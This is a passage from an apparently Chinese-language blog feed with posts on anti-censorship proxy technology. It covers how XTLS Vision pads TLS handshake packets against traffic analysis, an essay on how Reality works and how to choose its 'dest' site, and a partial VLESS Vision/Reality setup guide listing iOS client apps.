&lt;pre data-lang=&quot;notranslate&quot; class=&quot;language-notranslate &quot;&gt;&lt;code class=&quot;language-notranslate&quot; data-lang=&quot;notranslate&quot;&gt;第一个包 	很短 	唯一的变数是目标地址
第二个包 	很短 	几乎固定
第三个包 	短 	变化很少 几乎唯一的变数是目标 SNI
第四个包 	长 	变化较大
第五个包 	很短 	变化很少
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以直观的感受到，它们的包长特征其实是十分明显的。在 Vision 中，我们的应对方法也十分简单，就是将每一个短包的长度填充至 900 到 1400 这么一个区间。注意，这个方法与传统的随机填充不同，我们不是盲目的在所有包都加上填充，而是基于我们对内部流量的分析，有针对性的，对 TLS 握手过程的标志性的包进行填充。&lt;&#x2F;p&gt;
&lt;p&gt;另一个比较隐蔽的特征叫做时序特征。受限于 TLS 握手的设计，你可以注意到，前面这几个包的顺序是固定的。也就是说，浏览器发送 TLS Client Hello 之后，必须等待 Google 发出 TLS Server Hello 这一信息，而这之后浏览器又必须发送一个”收到 让我们开始加密通话！”，如此后面的对话才可以正常进行。
如果把用户到服务端发一个包叫做 C，反方向一个包叫做 S。审查者是否能够根据 CSCSC 这种数据时序，它们的时间间隔特征来判定这是一个 TLS in TLS 连接？
我们认为现在还不足以下结论，Vision 并没有在这个方面做处理。
有很多开发者都提到 MUX 多路复用对抗 TLS in TLS 检测。它在这方面的确有混淆作用，假如多路复用两个不同的 TLS 连接在一个隧道里，就有机会会形成 CCSSCC 等各种不同的时序特征。&lt;&#x2F;p&gt;
&lt;p&gt;可以预期，翻墙的技术战争将从 shadowsocks （加密）-&amp;gt; 主动探测 -&amp;gt; TLS -&amp;gt; 机器学习 继续升级，是生存或者死亡，将很大程度上取决于这5个包的处理。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wu-chang-jian-wen-ti&quot;&gt;五、常见问题&lt;&#x2F;h3&gt;
&lt;p&gt;问：Vision 的填充长度是写死的，是不是也有统计学特征？
答：首先网络安全概念上没有绝对的安全，理论上讲任何加密都可以暴力破解，只是计算量（投入资源）大小而已。作为安全协议的设计者，我们只需要把破解和识别的难度提高到审查者无法企及的高度即可，这个高度是多高？恐怕需要在战争拉锯中我们才能知晓。
回到我们已知的信息，TLS 1.2 和 1.3 握手包的长度分布是非常稳定的。几个关键包访问主流网站（比如 Google）可以看作是固定长度。如果把 Vision 现有的大包随机长度，跟不加填充的握手包相比，识别难度应当会增加一个数量级。
另外，在一些泄露出来的讨论中，有人提到机器学习可以识别低于 40% 的随机填充。这可以侧面证明机器学习存在辨识上限。&lt;&#x2F;p&gt;
&lt;p&gt;问：为什么新流控取名 Vision
答：我们认为 Vision 代表了 RPRX 原本的设计理念。XTLS 初版事实上是在探索中开发的，而且受限于当时的开发环境，有一些地方过于复杂，可以说，Vision 代表了 XTLS 的理想形态和未来方向。RPRX 说：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Flow.. 要解决什么问题？它影响的是宏观流量时序特征，而不是微观特征，后者是加密要解决的事情。流量时序特征可以是协议带来的，比如 Socks5 over TLS 时的 Socks5 握手 ，TLS 上不同的这种特征对于监测者来说就是不同的协议，此时无限 Schedulers 就相当于无限协议（重新分配每次发送的数据量大小等）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;v2ray&#x2F;v2ray-core&#x2F;issues&#x2F;2636&quot;&gt;v2ray&#x2F;v2ray-core#2636&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Direct 其实并不需要魔改 TLS 库就可以实现，它不需要读过滤，甚至传输 TLSv1.3 时连写过滤都不需要，非常简洁、高效&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Go&#x2F;issues&#x2F;12#issuecomment-770205658&quot;&gt;XTLS&#x2F;Go#12 (comment)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;问：新流控这么好，你们推荐所有人都使用它翻墙吗
答：正如其它开发者所言，对于当前的审查者，把所有鸡蛋都放在一个篮子里是十分危险的。所以我们鼓励大家善用每个工具的特性，分散特征。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;klzgrad&quot;&gt;@klzgrad&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;klzgrad&#x2F;naiveproxy&quot;&gt;NaiveProxy&lt;&#x2F;a&gt; 使用 Chrome 浏览器架构当作代理客户端以及 Caddy 当作代理服务端，可以高度模仿一个普通的 HTTPS 访问，它也包含的 TLS 握手以及其它特征包的填充&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gfw-report&quot;&gt;@gfw-report&lt;&#x2F;a&gt; 仅仅花一个下午写出的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;net4people&#x2F;bbs&#x2F;issues&#x2F;136&quot;&gt;魔改 shadowsocks&lt;&#x2F;a&gt; 通过注入额外数据的方式，改变传统 shadowsocks 无序流量的特征&lt;&#x2F;li&gt;
&lt;li&gt;在纯自用的情形下，使用 MITM 代理，目前这种方式工具较少，可以参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;KiriKira&#x2F;Kirikira.moe&#x2F;blob&#x2F;master&#x2F;articles-md&#x2F;V2Ray%E7%9A%84%E8%BF%9B%E9%98%B6%E6%95%99%E7%A8%8B(2)&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;KiriKira&#x2F;Kirikira.moe&#x2F;blob&#x2F;master&#x2F;articles-md&#x2F;V2Ray%E7%9A%84%E8%BF%9B%E9%98%B6%E6%95%99%E7%A8%8B(2)&lt;&#x2F;a&gt;:MITM.md&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;问：对于未来你推荐国密比如 sm4 吗？
答：不推荐，正如一开始提到，我们认为最安全的方法就是隐藏于互联网中最常见的流量之中。除了 HTTPS 以外，我们应该考虑什么样的出国流量是常见的。SSH？Remote Desktop？微信视频？Email（雾）？电波通信（大雾）？
而不是使用一个极其小众的加密和协议。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;liu-wo-men-de-yi-dian-kan-fa&quot;&gt;六、我们的一点看法&lt;&#x2F;h3&gt;
&lt;p&gt;其实基于 TLS 的代理在2017年就有相当成熟的应用了。2019年大规模封锁 Shadowsocks 服务以来，可以想见，审查者投入了极大人力物力算力，用了至少3年时间，才有了今天的技术。而截至目前的情况，我们看到仍然有&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;net4people&#x2F;bbs&#x2F;issues&#x2F;129#issuecomment-1267079501&quot;&gt;误封&lt;&#x2F;a&gt;，CDN大半存活，IPV6存活，以及从 Xray 项目的访问量以及 telegram 群在线人数屡创新高的情况来看，审查者本次阻绝信息的效果，实际上十分有限。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（原文配图已失效：tc.vpsxb.net 图床无法访问）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;作为开发圈成员，可以毫不夸张的说，我们这群”破铜烂铁“的志愿者队伍，Shadowsocks，*ray，Trojan，Naive，Hystaria，Tuic，Sing，在此之前一直把审查者按在地上摩擦，还是花式的。&lt;&#x2F;p&gt;
&lt;p&gt;TLS 代理战争才刚刚开始，审查者之所以要动用 AI 手段，恰恰从侧面证明了以前的审查方式，包括主动检测对于 TLS 代理都是无效的。而我们面对 AI 对手，必须要在细节层面做的更好。
我们可以充分发挥己方的长处，集思广益，开源，分散特征。具体而言，作为代理工具和服务，可以直接过滤内层流量，这其实是我们对审查者的一个天然优势。利用这个信息差，Vision 的逻辑可以对关键的 TLS 握手包进行填充。这个思路跟 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;klzgrad&#x2F;naiveproxy#proxy-payload-padding&quot;&gt;NaiveProxy 针对一些特定包的填充&lt;&#x2F;a&gt; 是一致的。&lt;&#x2F;p&gt;
&lt;p&gt;感谢你耐心阅读本文，欢迎广大技术爱好者留言与我们交流，每一个留言和 idea 都将成为我们战斗的一份力量&lt;&#x2F;p&gt;
&lt;p&gt;最后 To &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RPRX&quot;&gt;@RPRX&lt;&#x2F;a&gt;
青山不改 绿水长流 愿你归来仍是少年&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>哪一个是真正的我？我自己也不明白-Reality杂谈</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/哪一个是真正的我-我自己也不明白-reality杂谈/"/>
        <id>https://vercel.juzhong.asia/obsidian/哪一个是真正的我-我自己也不明白-reality杂谈/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/哪一个是真正的我-我自己也不明白-reality杂谈/">&lt;h1 id=&quot;na-yi-ge-shi-zhen-zheng-de-wo-wo-zi-ji-ye-bu-ming-bai-realityza-tan&quot;&gt;哪一个是真正的我？我自己也不明白-Reality杂谈&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.wdsky.top&#x2F;2024&#x2F;01&#x2F;14&#x2F;realitytalks&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.wdsky.top&#x2F;2024&#x2F;01&#x2F;14&#x2F;realitytalks&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;p&gt;从ShadowSock到VMESS再到VLESS，各路高手层出不穷，八仙过海各显神通，最近Reality在各种流行的网络代理解决方案中脱颖而出，Reality的各种问题被炒很火，正好我也好久没有更新文章了，不妨顺便记录一下我对reality的理解。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;realitygong-zuo-ji-zhi-jian-shu&quot;&gt;Reality工作机制简述&lt;&#x2F;h2&gt;
&lt;p&gt;Reality 是目前最安全的传输加密方案, 启用 Reality 并且配置合适的 XTLS Vision 流控模式, 可以 达到数倍甚至十几倍的性能提升。
Reality和Shadowtls有一点类似，但又有很大的区别，Reality本身并不是一种协议，而是由tls库魔改过来的传输层加密，拥有前向安全等高级安全特性，部署了Reality的服务端对外表现为端口转发，即 dest 指向的网站的某个反向代理节点。因此，Reality服务端始终是双向转发流量，同时在符合一些条件时才会对 Client Hello 进行验证，验证成功才会自己处理，除此之外的任何流量，Reality都会是转发给 dest 指向的网站。所以当我们使用Reality进行代理时的行为特征与在访问 dest 指向的目标网站相同（当然是正确配置Reality的条件下）相当于访问目标网站的一个反向代理节点。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dest-xuan-qu&quot;&gt;DEST 选取&lt;&#x2F;h2&gt;
&lt;p&gt;如何选取想要的终点（dest）呢？看起来很复杂，实际上，dest 配置只需要满足以下3点最低要求即可：&lt;&#x2F;p&gt;
&lt;p&gt;·国外网站，且支持 TLSv1.3 与 H2
·域名非跳转用（主域名可能被用于跳转到 www）
满足以上三点要求的网站域名，就可以作为Reality的 dest ,当然还有一些加分项：&lt;&#x2F;p&gt;
&lt;p&gt;·IP 相近（更像，且延迟低）
·Server Hello 后的握手消息一起加密
·有 OCSP Stapling&lt;&#x2F;p&gt;
&lt;p&gt;dest选取辅助工具：
可以使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;RealiTLScanner&quot;&gt; Reality - TLS - Scanner&lt;&#x2F;a&gt; 来进行扫描，扫描结果会实时显示，如显示出支持TLSV1.3&#x2F;H2，则该网站可以作为dest终点站。
通常，我们只需要找一些VPS所在IDC区域中运营或者与VPS地理位置接近的网站，可以使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rdnsdb.com&#x2F;&quot;&gt;DNS反查&lt;&#x2F;a&gt;查询你VPS的IP段查找VPS所在域运行（曾经运行）的网站&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的一点是，在选取国外网站时，一定要先检查该网站在国内有无cdn节点。&lt;&#x2F;p&gt;
&lt;p&gt;如果这个网站在国内有CDN，并且你将它作为Reality的 dest ,当你正常访问这个网站时，应该连接的是国内CDN的节点IP，然而实际上却连接着国外的IP（你VPS的IP），这显然不正常&lt;&#x2F;p&gt;
&lt;p&gt;如果这个网站设置了域名跳转，最好使用最后跳转的域名，域名跳转是不会用到过多流量的，如果一个用于跳转的域名出现了大量流量交互，是很明显不正常的情况，容易引起注意并被查封。&lt;&#x2F;p&gt;
&lt;p&gt;最好还要检查一下这个网站是否套用了Cloudflare的CDN(防止流量偷跑,具体等会说)&lt;&#x2F;p&gt;
&lt;p&gt;比如，之前有很多人将 dl.google.com,www.microsoft.com作为reality的dest，导致被封锁。&lt;&#x2F;p&gt;
&lt;p&gt;当然最好将 dest 指向自己搭建的网站,指向他人搭建的网站可能会导致很多问题(下面会讲到)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;realityyou-shi&quot;&gt;Reality优势&lt;&#x2F;h2&gt;
&lt;p&gt;·在设计上就把安全等级拉满，限制人的可控范围，最大程度降低人为因素的影响
·默认采用客户端不可信的设计理念，仅信任服务端，避免客户端测的渗透
·服务端对客户端是有选择的，比如拒绝版本过低的 Xray-core 连接，防止过时的客户端实现不当害了服务端，比如指纹过时以后服务端还可以带信息给客户端，告知客户端有新版了&#x2F;告知客户端版本过低，要求更新，否则多长时间后不再支持。
·我们可以看到,Reality解决了服务端TLS指纹的问题，完美消除了服务端特征，如果我们在使用reality的同时配置 utls 和xtls-rprx-vision流控可以做到近乎完美的代理行为，reality解决了服务端指纹的问题，utls解决了客户端指纹的问题,xtls-rprx-vision流控解决了 TLS嵌套（即TLS IN TLS）这几乎是是集当下许多代理协议的长处，又避免了它们本身的不足。可以说是目前的最优解。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-xie-ju-xian-xing&quot;&gt;一些局限性&lt;&#x2F;h2&gt;
&lt;p&gt;上文我们提到了最好不要选择套有Cloudflare CDN网站的域名作为 Reality dest ,因为Reality服务端表现为端口转发,其他人可能将你的Reality节点作为一个免费的中转机，但我并不认为这是一个什么大问题，毕竟很多大网站都用的是Cloudflare CDN 的商业套餐，我们反代的是商业段的CDN节点，偷跑我们的流量的人的free套餐用不了。而且我们可以使用nginx等软件进行SNI分流，防止流量偷跑。&lt;&#x2F;p&gt;
&lt;p&gt;综合来看，Reality + xtls-rprx-vision + utls 已经是目前代理协议的最优解了，但是并不代表着它可以完美隐藏代理行为，通过钓鱼，大数据统计等办法，比如在 dest 指向一些大网站时，如果该ip确实是这些大网站的一个节点，那么访问量应该很多，而且访问的源ip应该来自全国各地，并且不会有太明显的时序特征，比如晚上睡觉时间还会有来自全国各地的许多访问，而不是少量IP大流量访问，如果是用于代理，那么源ip通常只有国内固定地区的某些ip，且访问量相对于正常的域名来说应当很低，通过各种统计总结出的行为特征是不能通过技术消除的，在拥有自建网站的情况下，建议将反代的Reality指向自己的网站，以提高真实性。&lt;&#x2F;p&gt;
&lt;p&gt;所以，需要明确的是，世界上没有完美的事物，很多宣称完美的东西，也只不过是相对而言，一旦将观察的层级提高，观察的范围拓宽，可能原本完美的事物也会变得漏洞百出，所以，在技术的更替中，我们始终需要心存敬畏，摒弃盲目自信，无知和弱小不是生存的障碍，傲慢才是。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;realityzhuang-tai&quot;&gt;Reality状态&lt;&#x2F;h2&gt;
&lt;p&gt;目前基本平稳，但可能被降速抽查，详见Issue：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;2900&quot;&gt;Reality可能导致对单个IP的严重限速&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>搭建最新的VLESS Vision和VLESS Reality防止VPS端口封禁</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/搭建最新的vless-vision和vless-reality防止vps端口封禁/"/>
        <id>https://vercel.juzhong.asia/obsidian/搭建最新的vless-vision和vless-reality防止vps端口封禁/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/搭建最新的vless-vision和vless-reality防止vps端口封禁/">&lt;h1 id=&quot;da-jian-zui-xin-de-vless-visionhe-vless-realityfang-zhi-vpsduan-kou-feng-jin&quot;&gt;搭建最新的VLESS Vision和VLESS Reality防止VPS端口封禁&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yi-jie-shao&quot;&gt;一、介绍&lt;&#x2F;h2&gt;
&lt;p&gt;为了应对 &lt;strong&gt;TLS in TLS&lt;&#x2F;strong&gt; 和&lt;strong&gt;指纹识别&lt;&#x2F;strong&gt;等阻断或封禁的风险，Xray-core 团队推出了 VLESS&lt;strong&gt;Vision&lt;&#x2F;strong&gt; 和 VLESS&lt;strong&gt;Reality&lt;&#x2F;strong&gt; 两种新颖的技术方案。它们能够有效地&lt;strong&gt;隐藏&lt;&#x2F;strong&gt;和&lt;strong&gt;保护流量的特征&lt;&#x2F;strong&gt;，提高&lt;strong&gt;安全性&lt;&#x2F;strong&gt;和&lt;strong&gt;稳定性&lt;&#x2F;strong&gt;。如果您想了解更多详细信息，请点击 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.v2ray-agent.com&#x2F;archives&#x2F;xtls-visionjie-jue-tls-in-tlswen-ti&quot;&gt;Vision&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.v2ray-agent.com&#x2F;archives&#x2F;1679292836379&quot;&gt;Reality&lt;&#x2F;a&gt; 的查看。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;协议组合&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;解决 TLS in TLS&lt;&#x2F;th&gt;&lt;th&gt;解决指纹问题&lt;&#x2F;th&gt;&lt;th&gt;自带多路复用&lt;&#x2F;th&gt;&lt;th&gt;是否支持CDN&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;VLESS-Vision-TLS&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;VLESS-Vision-uTLS-REALITY&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;VLESS-gRPC-uTLS-REALITY&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;er-huan-jing&quot;&gt;二、环境&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;一台没有被封禁的VPS，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.v2ray-agent.com&#x2F;archives&#x2F;1679975663984&quot;&gt;VPS选购指南。&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;需要一个域名【非必须】&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;san-da-jian-bu-zou&quot;&gt;三、搭建步骤&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;3-an-zhuang&quot;&gt;3.安装&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;有&lt;strong&gt;两种&lt;&#x2F;strong&gt;安装方式，&lt;strong&gt;第一种&lt;&#x2F;strong&gt;需要自己&lt;strong&gt;购买域名或者使用第三方域名（eu.org、nip.io）&lt;&#x2F;strong&gt; ，&lt;strong&gt;第二种无需购买域名&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;如果只希望搭建无域名，请跳过第一种安装方式。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-di-yi-chong-an-zhuang-fang-shi-xu-yao-yu-ming&quot;&gt;1.第一种安装方式（需要域名）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;建议选择 &lt;strong&gt;2.任意组合安装-&amp;gt;选择0,7&lt;&#x2F;strong&gt; ，会同时安装&lt;strong&gt;VLESS_Vision_TLS&lt;&#x2F;strong&gt;、&lt;strong&gt;VLESS_Reality+TCP+uTLS+Vision&lt;&#x2F;strong&gt;、&lt;strong&gt;VLESS_Reality+gRPC+uTLS&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;路径：&lt;strong&gt;vasma&lt;&#x2F;strong&gt;-&amp;gt;&lt;strong&gt;2-&amp;gt;1-&amp;gt;0,7&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;di-yi-bu-shu-ru-yu-ming&quot;&gt;第一步，输入域名&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vless-vision-reality&#x2F;vless-reality-input-domain.png&quot; alt=&quot;custom_reality_domain.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;di-er-bu-duan-kou-mo-ren-443ji-ke-ye-ke-yi-zi-ding-yi-duan-kou-an-zhuang&quot;&gt;第二步，端口默认443即可，也可以自定义端口安装&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vless-vision-reality&#x2F;custom-reality-install-port.png&quot; alt=&quot;custom_reality_install02.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;di-san-bu-zhu-yi-shi-xiang&quot;&gt;第三步，注意事项。&lt;&#x2F;h4&gt;
&lt;p&gt;当配置VLESS+Reality 需要注意一下，这里的&lt;strong&gt;端口&lt;&#x2F;strong&gt;可以自定义，如果上方使用了自定义端口这里则可以输入 443 。&lt;&#x2F;p&gt;
&lt;p&gt;剩下的一直回车后会&lt;strong&gt;自动展示账号&lt;&#x2F;strong&gt;，到这里有域名的情况就搭建完成了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vless-vision-reality&#x2F;custom-reality-install-step3.png&quot; alt=&quot;custom_reality_install03.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-di-er-chong-an-zhuang-fang-shi-wu-xu-yu-ming-tui-jian-an-zhuang&quot;&gt;2.第二种安装方式（无需域名）【推荐安装】&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;观看此&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.v2ray-agent.com&#x2F;archives&#x2F;1708584312877&quot;&gt;教程&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;可参考的域名&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.v2ray-agent.com&#x2F;archives&#x2F;1689439383686&quot;&gt;Reality自选域名方法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;si-ke-hu-duan-pei-zhi&quot;&gt;四、客户端配置&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;建议使用订阅【vasma-&amp;gt;7-&amp;gt;2】&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.v2ray-agent.com&#x2F;archives&#x2F;1695534611317&quot;&gt;参考此文章&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;手动配置示例&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;VLESS Reality gRPC uTLS&lt;&#x2F;li&gt;
&lt;li&gt;VLESS Reality TCP Vision uTLS&lt;&#x2F;li&gt;
&lt;li&gt;VLESS TCP TLS Vision uTLS&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-ios&quot;&gt;3.iOS&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-v2box&quot;&gt;1.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apps.apple.com&#x2F;us&#x2F;app&#x2F;v2box-v2ray-client&#x2F;id6446814690&quot;&gt;V2BOX&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;支持&lt;strong&gt;Reality&lt;&#x2F;strong&gt;和&lt;strong&gt;Vision&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;vasma-&amp;gt;7.账号管理-&amp;gt;2.查看订阅&lt;&#x2F;strong&gt; 拉取即可&lt;&#x2F;li&gt;
&lt;li&gt;客户端配置-&amp;gt;Configs-&amp;gt;右上角+号-&amp;gt;Add Subscription&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-foxray&quot;&gt;2.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apps.apple.com&#x2F;us&#x2F;app&#x2F;foxray&#x2F;id6448898396?l=zh&quot;&gt;FoXray&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;支持&lt;strong&gt;Reality&lt;&#x2F;strong&gt;和&lt;strong&gt;Vision&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;vasma-&amp;gt;7.账号管理-&amp;gt;2.查看订阅&lt;&#x2F;strong&gt; 拉取即可&lt;&#x2F;li&gt;
&lt;li&gt;客户端配置-&amp;gt;订阅列表-&amp;gt;右上角+号&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-shadowrocketqiang-lie-tui-jian&quot;&gt;3.[Shadowrocket&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apps.apple.com&#x2F;jp&#x2F;app&#x2F;shadowrocket&#x2F;id932747118&quot;&gt;强烈推荐]&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;vasma-&amp;gt;7.账号管理-&amp;gt;2.查看订阅&lt;&#x2F;strong&gt; 拉取默认订阅即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-sing-box&quot;&gt;4.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apps.apple.com&#x2F;us&#x2F;app&#x2F;sing-box&#x2F;id6451272673&quot;&gt;sing-box&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;vasma-&amp;gt;7.账号管理-&amp;gt;2.查看订阅&lt;&#x2F;strong&gt; 拉取sing-box订阅即可&lt;&#x2F;li&gt;
